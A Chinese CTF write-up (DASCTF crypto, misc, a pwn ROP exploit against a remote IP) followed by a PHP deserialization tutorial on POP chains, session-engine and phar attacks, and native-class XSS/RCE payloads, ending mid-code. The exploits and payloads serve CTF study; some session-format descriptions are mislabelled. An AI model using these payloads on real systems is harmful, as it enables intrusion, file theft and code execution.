0%

babysql:直接输入框按照常规思路进行注入,发现把空格给禁了,直接用sqlmap的space2comment模块跑

图片

math:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
from Crypto.Util.number import *
import math
str = 'abcdefghijklmnopqrstuvwxyz0123456789+='
n = 176778040837484895481963794918312894811914463587783883976856801676290821243853364789418908640505211936881707629753845875997805883248035576046706978993073043757445726165605877196383212378074705385178610178824713153854530726380795438083708575716562524587045312909657881223522830729052758566504582290081411626333
key = n - 1
c = 'u66hp7nuh01puoaip10pi6o0vzavnu11'
flag = ''
for i in c :
    num = str.index(i)
    ans = (num - 7)  * gmpy2.invert(key,37) % 37
    flag += str[ans]
print(flag)
#DASCTF{799a03b7a82076f5028059681df1b722}

rssssa5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
n = 21595945409392994055049935446570173194131443801801845658035469673666023560594683551197545038999238700810747167248724184844583697034436158042499504967916978621608536213230969406811902366916932032050583747070735750876593573387957847683066895725722366706359818941065483471589153682177234707645138490589285500875222568286916243861325846262164331536570517513524474322519145470883352586121892275861245291051589531534179640139953079522307426687782419075644619898733819937782418589025945603603989100805716550707637938272890461563518245458692411433603442554397633470070254229240718705126327921819662662201896576503865953330533
c = 1500765718465847687738186396037558689777598727005427859690647229619648539776087318379834790898189767401195002186003548094137654979353798325221367220839665289140547664641612525534203652911807047718681392766077895625388064095459224402032253429115181543725938853591119977152518616563668740574496233135226296439754690903570240135657268737729815911404733486976376064060345507410815912670147466261149162470191619474107592103882894806322239740349433710606063058160148571050855845964674224651003832579701204330216602742005466066589981707592861990283864753628591214636813639371477417319679603330973431803849304579330791040664
p = 1426723861968216959675536598409491243380171101180592446441649834738166786277745723654950385796320682900434611832789544257790278878742420696344225394624591657752431494779
e = 0x10001
import gmpy2
from Crypto.Util.number import *
PR.<x> = PolynomialRing(Zmod(n))
f = x * 2 ** 560 + p
f = f.monic()
root = f.small_root(X=2^464,beta = 0.45,epslion=0.05)
p = int(root[0]) * 2 **560 + p
assert n % p == 0
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi)
m = int(pow(c,d,n))
print(long_to_bytes(m))
#DASCTF{ce73935b2e83a78aa5079a9e59ae4980}

checkin_gift:

binwalk文件能发现存在两个jpg文件,用010打开搜索jpg的文件头,发现base64,用cyberchef直接解出

图片

m4a:

把m4a文件添加m4a后缀名,可得到摩斯密码音频文件,听了后解码可得到一段字符

BA43BCEFC204接着把附件放到010里,拉到最后可发现存在zip的压缩包倒置。

用脚本逆一下加上zip后缀得到压缩包

1
2
3
with open('m4a','rb') as f:
    with open('flag','wb') as g:
        g.write(f.read()[::-1])

提示需要密码,输入之前获得的字符,得到txt文本。拿去cyberchef解码,得到flag
Unkn0wnData图片

Unkn0wnData:

图片尾存在base64,然后解码能得到where is key和一串表情,可推测是aes-emoji

然后图片lsb zsteg可得到一串zip的hex 和上面的base64

将zip放入winhex存储为压缩包,打开是流量的txt文件,用脚本解码可得

1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
f=open('key.txt','r')
fi=open('out.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==16:
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('\n')
    else:
        break
 
fi.close()

2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
normalKeys = { 
  
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
  
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
 
keys.close()
 
flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
 
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
 
print ('output :' + "".join(output))

用以上两个脚本先后解码可得
图片

可得密钥为Toggled

拿去aes-emoji解码

把以上的表情和密钥解码可得flag

DASCTF{ad15eecd2978bc5c70597d14985412c4}

 

 

PWN

GO-MAZE-v4

走完地图发现输出的是假flag,但是后门还是存在一个出入点,于是输入大量垃圾数据,发现程序崩溃,所以猜测存在栈溢出漏洞,然后静态分析,通过关键字符串可以定位到这里

图片

这里其实给了提示,v14这个参数存在溢出,然后就是构造rop链打orw。

exp:

1
 from pwn import * from time import * context.log_level='debug' #p=process('./pwn') p=remote('1.14.97.218', 26200) elf=ELF('./pwn') ​ poprax=0x400a4f syscall=0x4025ab poprdi=0x4008f6 poprsi=0x40416f poprdx=0x51d4b6 poprbx=0x402498 popdxsi=0x51d559 buf=0x98a000 leave=0x4015cb ​ rop=b'' rop=p64(poprdi)+p64(0)+p64(popdxsi)+p64(0x100)+p64(buf+0x300)+p64(syscall)+p64(leave) ​ payload=p64(0)+p64(poprax)+p64(2)+p64(poprdi)+p64(elf.search(b'flag').__next__())+p64(poprsi)+p64(0)+p64(syscall) payload+=p64(poprax)+p64(0)+p64(poprdi)+p64(3)+p64(poprsi)+p64(buf)+p64(poprdx)+p64(0x100)+p64(syscall) payload+=p64(poprax)+p64(1)+p64(poprdi)+p64(1)+p64(poprsi)+p64(buf)+p64(poprdx)+p64(0x100)+p64(syscall) ​ def maps():    p.sendline(b's')    p.sendline(b's')    p.sendline(b's')    p.sendline(b's')    p.sendline(b'd')    p.sendline(b'd')    p.sendline(b'd')    p.sendline(b'w')    p.sendline(b'w')    p.sendline(b'w')    p.sendline(b'd')    p.sendline(b'd')    p.sendline(b'd')    p.sendline(b'w')    p.sendline(b'd')    p.sendline(b'w')    p.sendline(b'w') ​ def pwn():    p.recvuntil('flag')    p.sendline(b'a'*0x178+p64(buf+0x300)+rop)    p.send(payload) ​ maps() pwn() p.interactive()

RE

ezandroid

逆向后mainactivity如下图所示

图片

可以看到账号密码输入成功后进入afterlog

afterlog如下图所示

2

就放了一个视图,然后进入这个视图

图片

可以看到背景是一张图片,最后加压缩出图片可以看到flag

图片

在php.ini中存在三项配置项

1
2
3
4
session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户怎样存储session
session.auto_start --指定是否自动启动session,默认为0不启动
session.serialize_handler 用来指定序列化/反序列化的处理器名字。默认使用php

以上基本就是与php的session存储以及序列化相关的配置选项。
如果是用xmapp进行搭建环境的话,上述的配置大致如下:

1
2
3
4
session.save_path="D:\xampp\tmp"	表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列化引擎使用的是php序列化引擎

session.serialize_handler=php 对于该配置,是用来指定session的序列化引擎,除了默认引擎,还存在其他引擎,不同引擎对应存储方式不同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
    当我设置session为$_SESSION["name"] = "123";时。不同的引擎保存的session文件内容如下
1
2
3
4
5
6
7
8
9
10
11
php: 
name|s:3:"123";
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_binary:
names:3:"123";
存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):
a:1:{s:4:"name";s:3:"123";}
存储方式是,经过serialize()函数序列化处理的值

如果要修改为其他引擎,只需要添加代码:
ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);

sample:

1
2
3
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

另外因为这里例子设定是session以文件格式存储(默认以文件形式存储),存储的文件以sess_sessionid来进行命名,文件的内容就是session值序列化之后的内容。
依旧假设为xmapp配置环境,默认设置下

1
2
3
4
5
<?php
session_start()
$_SESSION['name'] = 'test';
var_dump();
?>

图片

这里phpsessid的值为jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:4:"test";。name是键值,s:4:"test";serialize("test")的结果。

在php_serialize引擎下:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'test';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:4:"test";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化
在php_binary引擎下

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'test';
var_dump();
?>

SESSION文件的内容是names:4:"test";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:4:"spoock"; 这里出现不可见字符,是因为ascii值为4的字符无法在网页上显示

前言:近期算是比较摸,这部分知识其实不算难,算是复习和总结下,我尽量以平和的语言总结。

1.1 序列化与反序列化

计算机相关知识总是喜欢创造些新名词,让人看起来觉得很高大上。其实序列化本质就是一种做数据格式转换的操作。

序列化:将变量(通常是数组和对象)转换为可保存或传输的字符串

反序列化:在适当的时候把这个字符串再转化成原来的变量(通常是数组和对象)使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。反序列化本身不是漏洞,但如果反序列化的内容可控,就容易导致漏洞

1.2 php魔术方法

PHP提供了许多“魔术”方法,这些方法由两个下划线前缀(__)标识。它们充当拦截器,在满足某些条件时会自动调用它们。 魔术方法提供了一些极其有用的功能。

常见的魔术方法有:

  1. __contruct() 当一个对象创建时被调用
  2. __destruct() 当一个对象销毁前被调用
  3. __sleep() 在对象被序列化前被调用
  4. __wakeup 将在反序列化之后立即被调用
  5. __toString 当一个对象被当做字符串使用时被调用
  6. __get(),__set() 当调用或设置一个类及其父类方法中未定义的属性
  7. __invoke() 调用函数的方式调用一个对象时的回应方法
  8. __call 和 __callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。
    https://segmentfault.com/a/1190000007250604

该文章对魔术方法的使用做了比较详细的解释,可以看下

1.3 序列化后的字符串形式

一个序列化的字符串:

1
2
3
O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}
O代表这是一个对象,4代表对象名称的长度,2代表成员个数。
大括号中分别是:属性名类型、长度、名称;值类型、长度、值

另外对于类里的成员变量,我们一般都会给予相应的权限,权限不同,序列化后的字符串存在区别

1
2
3
4
5
6
7
8
9
<?php
class Test{
public $test;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);
//O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}

图片

用010可以看到public的属性,序列化后的值就是属性的名称和对应的值

如果换成private

1
2
3
4
5
6
7
8
9
<?php
class Test{
private $test='ok';
private $var;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

属性名变成了%00Test%00test%00Test%00var
也就是%00类名%00属性名

图片

protected

换成protected, 属性序列化之后又变了,属性名变成了%00*%00test%00*%00var

也就是%00*%00属性名

图片

注意到这些对构造序列化的字符串很关键,当我们直接将private protected的属性进行序列化,得到的序列化字符串的payload将无效,因为0x00的缘故。但是通过urlencode就可以避免

php反序列化漏洞

反序列化本身不是漏洞,但是如果类的某些属性可控,那么在反序列的过程中就会自动的执行魔术方法,从而导致安全问题。

所以,通常反序列化漏洞的成因在于代码中的 __unserialize(),__wakeup()等魔术方法接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// flag is in flag.php
class popdemo
{
private $filename = 'demo.php';
public function __wakeup()
{
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}

unserialize($_POST['a']);

上面的代码是接收一个参数a,然后将其反序列化,反序列化后,会调用__wakeup()方法。如果一切正常的话,这个方法是显示一下demo.php文件的源代码。但是参数a是可控的,也就是说对象a的属性是可控的。于是我们可以伪造一个filename来构造对象
EXP

1
2
3
4
5
6
7
<?php
class popdemo
{
private $filename = "flag.php";
}
$p = new popdemo();
echo urlencode(serialize($p));

当我们对象参数可控时,可以伪造对象的一些属性,从而实现任意文件读取等操作。
如果直接把这个exp跑出来payload拿去加载,正如之前所说, 如果我们没有urlencode,就会得到一个无效的payload

1
2
3
4
5
O:7:"popdemo":1:{s:17:
0x00之后会截断

这样是可以的:
a=O:7:"popdemo":1:{s:17:"%00popdemo%00filename";s:8:"flag.php";}

POP链的构造

1、什么是POP

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。

2、POP链原理

POP链是反序列化漏洞利用中的一种常有方法,即寻找程序环境中已经定义或能够动态加载的对象中的属性或函数,将一些能够被调用的函数组合起来,达到目的的操作

用人话来说就是,根据已有的代码,构造一条完整的调用链,该调用链与原来代码的调用链一致,不过部分属性被我们所控制,从而达到攻击目的。构造的这条链就是POP链。

用一个实例说明如何构造POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
//flag is in flag.php
error_reporting(0);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}

首先理清思路,寻找最重要的魔术方法或者能获取flag的方法作为起点。

  1. 先看读文件的函数在哪:Read.file_get里面有一个file_get_contents Show._show()中有一个highlight_file
  2. 我们可控的是hello参数,调用unserialize()函数,即__wakeup()魔术方法,于是就只有Show类中存在该方法,但是注意到在Show.__wakeup()中存在一个正则匹配,这个正则匹配会将$this->source当成字符串来处理。也就是说会调用Show.__toString()方法。
  3. 定位到Show.__toString(),可以将source序列化为Show类的对象,就会调用__toString方法。__toString又会取一个str['str']->source,那么如果这个source不存在的话,就会执行__get()方法。
  4. __get()魔术方法会调用一个$p变量,这个也是可控的,然后会将p当做函数调用,此时触发了Read.__invoke()魔术方法
  5. __invoke魔术方法会触发file_get()函数,进而base64_encode(file_get_contents($value))最终达到读文件的目的。
    这样一条完整的链就分析完了
1
hello -> __wakeup -> Show._show -> Show.__toString -> (不存在属性)Test.__get() -> Read.__invoke

注意对象关系(hello是Show的对象,source属性是Test的对象,p属性是Read的对象),然后写一个POP链的对应EXP,就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Read {
public $var="flag.php";

}

class Show
{
public $source;
public $str;
}

class Test
{
public $p;
}

$show = new Show();
$test = new Test();
$read = new Read();
$test->p = $read;
$show->source = $show;
$show->str['str'] = $test;

echo serialize($show);//在存在private和protected属性的情况下还是需要使用urlencode的。
?>

php的Session反序列化问题

了解session相关的反序列化问题之前,得先了解下session相关的机制。这里详细机制解释已经在上篇文章解释了,就不做过多解释。这里主要是针对于session反序列化漏洞原理进行解释

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确地反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞

这里引用大佬博客里的一个例子:

session.php

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

session2.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}

session.php中的Session是可控的,但是反序列的魔术方法在session2.php中,而session中的参数无法直接可控。
这个时候,就可以利用两个的php的session存储机制的不同实现session的反序列化攻击

具体原理解释:

将payload用session.php,控制存储在指定文件中。

1
plainsession.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
  1. 此时传入的数据会按照php_serialize来进行序列化,并存储到文件中。
  2. 再访问session2.php,页面输出spoock,成功执行我们构造的函数。因为在访问session2.php时,程序会按照php来反序列化SESSION中的数据(因为同域PHPSESSIONID是一样的,之前存的session也适用),此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
    以上就是最简单的利用,也达到了攻击目的,但是局限性比较大。

条件如下:

  1. 两个文件session引擎配置不同
  2. 其中一个session可控
  3. 两个文件同域
    这里进一步查询资料,有一篇资料已经看不了就只能直接以我的口吻复述文章了。

当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中 ,具体利用条件列举如下

  1. session.upload_progress.enabled = On (是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)
    符合条件时,上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

关于具体实例,在浙大oj也就是jarvirsoj上有一道ctf题,这里搬运下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

容易发现,OowoO.__destruct()存在代码执行,但是没有可控参数进行利用。
然后发现符合上传程序Session漏洞的条件

图片

因为这里是直接对session取出内容然后进行反序列化,但是这里并没有对session内容的赋值操作,所以这里进行上传来写入

一个简单的上传demo

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" />
<input type="file" name="file" />
<input type="submit" />
</form>

其中value就是我们自己构造的恶意payload
poc.php

1
2
3
4
5
6
7
8
9
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

这里查看环境phpinfo,禁用了一些函数。可以用print_r来进行绕过
再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload

1
2
3
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r
(file_get_contents
('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

phar反序列化

phar文件的结构:

phar文件都包含以下几个部分:

1
2
3
4
5
6
7
8
1. stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。

简单介绍

首先介绍一下phar://phar://php://filterdata://协议那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub,而stub就是一个标志,他的格式是xxx<?php xxxxx;__HALT_COMPILER();?>,结尾是__HALT_COMPILER()'?>,不然phar识别不了phar文件

图片

简单例子:

php内置了一个phar类来处理相关操作

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行一下我们看到他会产生一个phar.phar文件,丢去二进制编辑器看一下
图片

我们确实看到了有反序列化后的值,对应的,就有反序列化的操作,而php大部分文件系统函数在通过phar://协议解析的时候,都会将meta-data进行反序列化,影响函数大多数是跟文件操作相关的函数

接下来进行反序列化

1
2
3
4
5
6
7
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include ('phar://phar.phar');

可以看到确实是有数据输出,因此可以看到这样是可以触发反序列化漏洞了

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

    绕过文件格式限制

  • 上传html页面: upload.html
  • 后端校验页面:upload.php
  • 一个漏洞页面:index.php (存在file_exits(), eval()函数)
  • 一个上传目录: upload_file/
    upload.html:
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php
仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过
我们可以构造一个php来生成phar.phar。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

利用过程:

  • 一、生成一个phar.phar,修改后缀名为phar.gif
    图片
  • 二、上传到upload_file目录下
    图片

通过修改后缀名和文件头,能够绕过大部分的校验

原生类的利用

原生类,顾名思义是php自带的类。而之前我们反序列化常见的是自己构建的类,这里的利用对象是php自带的类。

报错类

Error

在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS

例如,有以下代码

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

当传入下方payload的时候

1
?a=Error&b=<script>alert("Lxxx");</script>

图片

Exception

与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS

1
?a=Exception&b=<script>alert("Lxxx");</script>

图片

以上代码都能被执行,那我们可以尝试传一句话木马

1
?a=Exception&b=eval($_POST[1]);

如果说直接按照上面的写法传入一个写法,只会原封不动打印出来,所以我们需要把测试代码换一个写法。

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");

这时候传入的payload:
?a=Exception&b=system(‘whoami’)

图片

这里虽然报错了,但是可以rce,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE

遍历目录类

DirectoryIterator

DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项

例子:

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

传入payload:

1
?a=DirectoryIterator&b=.

图片

返回一个点,这里为啥返回点,建议去linux系统实际操作(因为linux里查看所有文件的第一个文件都是一个点.)

这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议

1
?a=DirectoryIterator&b=glob://flag*

图片

如果这个时候不知道flag文件名怎么办

如果这个时候不知道flag文件名怎么办,所以可以尝试用暴力搜索

1
?a=DirectoryIterator&b=glob://f[k-m]*

图片

glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@[都允许匹配,也就是匹配大写字母

FilesystemIterator

如果DirectoryIterator类被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多

图片

GlobIterator

GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容

1
?a=GlobIterator&b=f[k-m]*

图片

SplFileObject

读取文件类

SplFileObject

SplFileObject类为文件提供了一个面向对象接口,说人话就是这个类可以用来读文件。

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

传payload进去:

1
?a=SplFileObject&b=flag.php

图片

SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历 ,这里可以看下官方文档对该类的__construct方法

图片

可以看到官方文档要求我们传入参数是一个文件名,而如果参数是文件名的话,我们可以尝试用伪协议

传入payload

1
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

反射类

ReflectionClass

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

这里拿ctfshow的web109作例题

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 
